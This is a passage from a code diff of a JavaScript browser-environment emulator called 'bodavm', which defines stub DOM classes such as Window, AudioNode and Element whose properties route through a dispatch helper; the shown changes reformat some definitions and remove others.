replaceChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "replaceChild", arguments); + } +}, 'prototype'); +bodavm.memory.globalobj['WindowProperties'] = function WindowProperties() { + console.log_copy('WindowProperties 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor") + // throw ReferenceError(`WindowProperties is not defined + // at :1:100`) + ; +}; + +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WindowProperties'], 'WindowProperties'); +bodavm.memory.globalobj['WindowProperties'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['WindowProperties'].__proto__ = bodavm.memory.globalobj['EventTarget']; + +// Window对象 + +bodavm.memory.globalobj['Window'] = function Window() { + console.log_copy('Window 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Window)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +// debugger +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Window'], "Window"); +bodavm.memory.globalobj['Window'].prototype.__proto__ = bodavm.memory.globalobj['WindowProperties'].prototype; +bodavm.memory.globalobj['Window'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Window', "TEMPORARY", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('Window', "PERSISTENT", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('Window', "TEMPORARY", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Window', "PERSISTENT", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); + +// bodavm.memory.globalobj['Window'] = function Window(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} // debugger -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Window'], "Window"); - -bodavm.memory.globalobj['Window'].prototype.__proto__=bodavm.memory.globalobj['WindowProperties'].prototype; - -bodavm.memory.globalobj['Window'].__proto__=bodavm.memory.globalobj['EventTarget']; - -bodavm.toolsFunc.defineProperty('Window', "TEMPORARY", {configurable:false, enumerable:true, writable:false, value:0}); - -bodavm.toolsFunc.defineProperty('Window', "PERSISTENT", {configurable:false, enumerable:true, writable:false, value:1}); - -bodavm.toolsFunc.defineProperty('Window', "TEMPORARY", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); - -bodavm.toolsFunc.defineProperty('Window', "PERSISTENT", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); - -// bodavm.memory.globalobj['Window'] = function Window(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} -// debugger - - -// AudioNode对象 -bodavm.memory.globalobj['AudioNode'] = function AudioNode(){if (!(this instanceof AudioNode)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioNode'], "AudioNode"); -bodavm.memory.globalobj['AudioNode'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['AudioNode'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('AudioNode', "context", {configurable:true, enumerable:true, get:function context (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "context_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioNode', "numberOfInputs", {configurable:true, enumerable:true, get:function numberOfInputs (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "numberOfInputs_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioNode', "numberOfOutputs", {configurable:true, enumerable:true, get:function numberOfOutputs (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "numberOfOutputs_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioNode', "channelCount", {configurable:true, enumerable:true, get:function channelCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelCount_get", arguments)}, set:function channelCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelCount_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioNode', "channelCountMode", {configurable:true, enumerable:true, get:function channelCountMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelCountMode_get", arguments)}, set:function channelCountMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelCountMode_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioNode', "channelInterpretation", {configurable:true, enumerable:true, get:function channelInterpretation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelInterpretation_get", arguments)}, set:function channelInterpretation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelInterpretation_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioNode', "connect", {configurable:true, enumerable:true, writable:true, value:function connect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "connect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioNode', "disconnect", {configurable:true, enumerable:true, writable:true, value:function disconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "disconnect", arguments)}},'prototype'); - -// AudioScheduledSourceNode对象 -bodavm.memory.globalobj['AudioScheduledSourceNode'] = function AudioScheduledSourceNode(){if (!(this instanceof AudioScheduledSourceNode)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioScheduledSourceNode'], "AudioScheduledSourceNode"); -bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['AudioScheduledSourceNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('AudioScheduledSourceNode', "onended", {configurable:true, enumerable:true, get:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype, "AudioScheduledSourceNode", "onended_get", arguments)}, set:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype, "AudioScheduledSourceNode", "onended_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioScheduledSourceNode', "start", {configurable:true, enumerable:true, writable:true, value:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype, "AudioScheduledSourceNode", "start", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioScheduledSourceNode', "stop", {configurable:true, enumerable:true, writable:true, value:function stop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype, "AudioScheduledSourceNode", "stop", arguments)}},'prototype'); - -// StorageManager对象 -bodavm.memory.globalobj['StorageManager'] = function StorageManager(){if (!(this instanceof StorageManager)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StorageManager'], "StorageManager"); -bodavm.memory.globalobj['StorageManager'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['StorageManager'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('StorageManager', "estimate", {configurable:true, enumerable:true, writable:true, value:function estimate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageManager'].prototype, "StorageManager", "estimate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('StorageManager', "persisted", {configurable:true, enumerable:true, writable:true, value:function persisted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageManager'].prototype, "StorageManager", "persisted", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('StorageManager', "getDirectory", {configurable:true, enumerable:true, writable:true, value:function getDirectory (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageManager'].prototype, "StorageManager", "getDirectory", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('StorageManager', "persist", {configurable:true, enumerable:true, writable:true, value:function persist (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageManager'].prototype, "StorageManager", "persist", arguments)}},'prototype'); - -// Worklet对象 -bodavm.memory.globalobj['Worklet'] = function Worklet(){if (!(this instanceof Worklet)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Worklet'], "Worklet"); -bodavm.toolsFunc.defineProperty('Worklet', "addModule", {configurable:true, enumerable:true, writable:true, value:function addModule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worklet'].prototype, "Worklet", "addModule", arguments)}},'prototype'); - -// Element对象 -bodavm.memory.globalobj['Element'] = function Element(){if (!(this instanceof Element)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Element'], "Element"); -bodavm.memory.globalobj['Element'].prototype.__proto__=bodavm.memory.globalobj['Node'].prototype; -bodavm.memory.globalobj['Element'].__proto__=bodavm.memory.globalobj['Node']; -bodavm.toolsFunc.defineProperty('Element', "namespaceURI", {configurable:true, enumerable:true, get:function namespaceURI (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "namespaceURI_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "prefix", {configurable:true, enumerable:true, get:function prefix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "prefix_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "localName", {configurable:true, enumerable:true, get:function localName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "localName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "tagName", {configurable:true, enumerable:true, get:function tagName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "tagName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "id_get", arguments)}, set:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "id_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "className", {configurable:true, enumerable:true, get:function className (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "className_get", arguments)}, set:function className (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "className_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "classList", {configurable:true, enumerable:true, get:function classList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "classList_get", arguments)}, set:function classList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "classList_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "slot", {configurable:true, enumerable:true, get:function slot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "slot_get", arguments)}, set:function slot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "slot_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "attributes", {configurable:true, enumerable:true, get:function attributes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "attributes_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "shadowRoot", {configurable:true, enumerable:true, get:function shadowRoot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "shadowRoot_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "part", {configurable:true, enumerable:true, get:function part (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "part_get", arguments)}, set:function part (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "part_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "assignedSlot", {configurable:true, enumerable:true, get:function assignedSlot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "assignedSlot_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "innerHTML", {configurable:true, enumerable:true, get:function innerHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "innerHTML_get", arguments)}, set:function innerHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "innerHTML_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "outerHTML", {configurable:true, enumerable:true, get:function outerHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "outerHTML_get", arguments)}, set:function outerHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "outerHTML_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "scrollTop", {configurable:true, enumerable:true, get:function scrollTop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollTop_get", arguments)}, set:function scrollTop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollTop_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "scrollLeft", {configurable:true, enumerable:true, get:function scrollLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollLeft_get", arguments)}, set:function scrollLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollLeft_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "scrollWidth", {configurable:true, enumerable:true, get:function scrollWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "scrollHeight", {configurable:true, enumerable:true, get:function scrollHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "clientTop", {configurable:true, enumerable:true, get:function clientTop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "clientTop_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "clientLeft", {configurable:true, enumerable:true, get:function clientLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "clientLeft_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "clientWidth", {configurable:true, enumerable:true, get:function clientWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "clientWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "clientHeight", {configurable:true, enumerable:true, get:function clientHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "clientHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "onbeforecopy", {configurable:true, enumerable:true, get:function onbeforecopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforecopy_get", arguments)}, set:function onbeforecopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforecopy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "onbeforecut", {configurable:true, enumerable:true, get:function onbeforecut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforecut_get", arguments)}, set:function onbeforecut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforecut_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "onbeforepaste", {configurable:true, enumerable:true, get:function onbeforepaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforepaste_get", arguments)}, set:function onbeforepaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforepaste_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "onsearch", {configurable:true, enumerable:true, get:function onsearch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onsearch_get", arguments)}, set:function onsearch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onsearch_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "elementTiming", {configurable:true, enumerable:true, get:function elementTiming (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "elementTiming_get", arguments)}, set:function elementTiming (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "elementTiming_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "onfullscreenchange", {configurable:true, enumerable:true, get:function onfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onfullscreenchange_get", arguments)}, set:function onfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onfullscreenchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "onfullscreenerror", {configurable:true, enumerable:true, get:function onfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onfullscreenerror_get", arguments)}, set:function onfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onfullscreenerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "onwebkitfullscreenchange", {configurable:true, enumerable:true, get:function onwebkitfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onwebkitfullscreenchange_get", arguments)}, set:function onwebkitfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onwebkitfullscreenchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "onwebkitfullscreenerror", {configurable:true, enumerable:true, get:function onwebkitfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onwebkitfullscreenerror_get", arguments)}, set:function onwebkitfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onwebkitfullscreenerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "role", {configurable:true, enumerable:true, get:function role (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "role_get", arguments)}, set:function role (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "role_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaAtomic", {configurable:true, enumerable:true, get:function ariaAtomic (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaAtomic_get", arguments)}, set:function ariaAtomic (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaAtomic_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaAutoComplete", {configurable:true, enumerable:true, get:function ariaAutoComplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaAutoComplete_get", arguments)}, set:function ariaAutoComplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaAutoComplete_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaBusy", {configurable:true, enumerable:true, get:function ariaBusy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBusy_get", arguments)}, set:function ariaBusy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBusy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaBrailleLabel", {configurable:true, enumerable:true, get:function ariaBrailleLabel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBrailleLabel_get", arguments)}, set:function ariaBrailleLabel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBrailleLabel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaBrailleRoleDescription", {configurable:true, enumerable:true, get:function ariaBrailleRoleDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBrailleRoleDescription_get", arguments)}, set:function ariaBrailleRoleDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBrailleRoleDescription_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaChecked", {configurable:true, enumerable:true, get:function ariaChecked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaChecked_get", arguments)}, set:function ariaChecked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaChecked_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaColCount", {configurable:true, enumerable:true, get:function ariaColCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColCount_get", arguments)}, set:function ariaColCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColCount_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaColIndex", {configurable:true, enumerable:true, get:function ariaColIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColIndex_get", arguments)}, set:function ariaColIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColIndex_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaColSpan", {configurable:true, enumerable:true, get:function ariaColSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColSpan_get", arguments)}, set:function ariaColSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColSpan_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaCurrent", {configurable:true, enumerable:true, get:function ariaCurrent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaCurrent_get", arguments)}, set:function ariaCurrent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaCurrent_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaDescription", {configurable:true, enumerable:true, get:function ariaDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaDescription_get", arguments)}, set:function ariaDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaDescription_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaDisabled", {configurable:true, enumerable:true, get:function ariaDisabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaDisabled_get", arguments)}, set:function ariaDisabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaDisabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaExpanded", {configurable:true, enumerable:true, get:function ariaExpanded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaExpanded_get", arguments)}, set:function ariaExpanded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaExpanded_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaHasPopup", {configurable:true, enumerable:true, get:function ariaHasPopup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaHasPopup_get", arguments)}, set:function ariaHasPopup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaHasPopup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaHidden", {configurable:true, enumerable:true, get:function ariaHidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaHidden_get", arguments)}, set:function ariaHidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaHidden_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaInvalid", {configurable:true, enumerable:true, get:function ariaInvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaInvalid_get", arguments)}, set:function ariaInvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaInvalid_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaKeyShortcuts", {configurable:true, enumerable:true, get:function ariaKeyShortcuts (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaKeyShortcuts_get", arguments)}, set:function ariaKeyShortcuts (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaKeyShortcuts_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaLabel", {configurable:true, enumerable:true, get:function ariaLabel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLabel_get", arguments)}, set:function ariaLabel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLabel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaLevel", {configurable:true, enumerable:true, get:function ariaLevel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLevel_get", arguments)}, set:function ariaLevel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLevel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaLive", {configurable:true, enumerable:true, get:function ariaLive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLive_get", arguments)}, set:function ariaLive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLive_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaModal", {configurable:true, enumerable:true, get:function ariaModal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaModal_get", arguments)}, set:function ariaModal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaModal_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaMultiLine", {configurable:true, enumerable:true, get:function ariaMultiLine (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaMultiLine_get", arguments)}, set:function ariaMultiLine (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaMultiLine_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaMultiSelectable", {configurable:true, enumerable:true, get:function ariaMultiSelectable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaMultiSelectable_get", arguments)}, set:function ariaMultiSelectable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaMultiSelectable_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaOrientation", {configurable:true, enumerable:true, get:function ariaOrientation (){return bodavm.toolsFunc.dispatch(this, 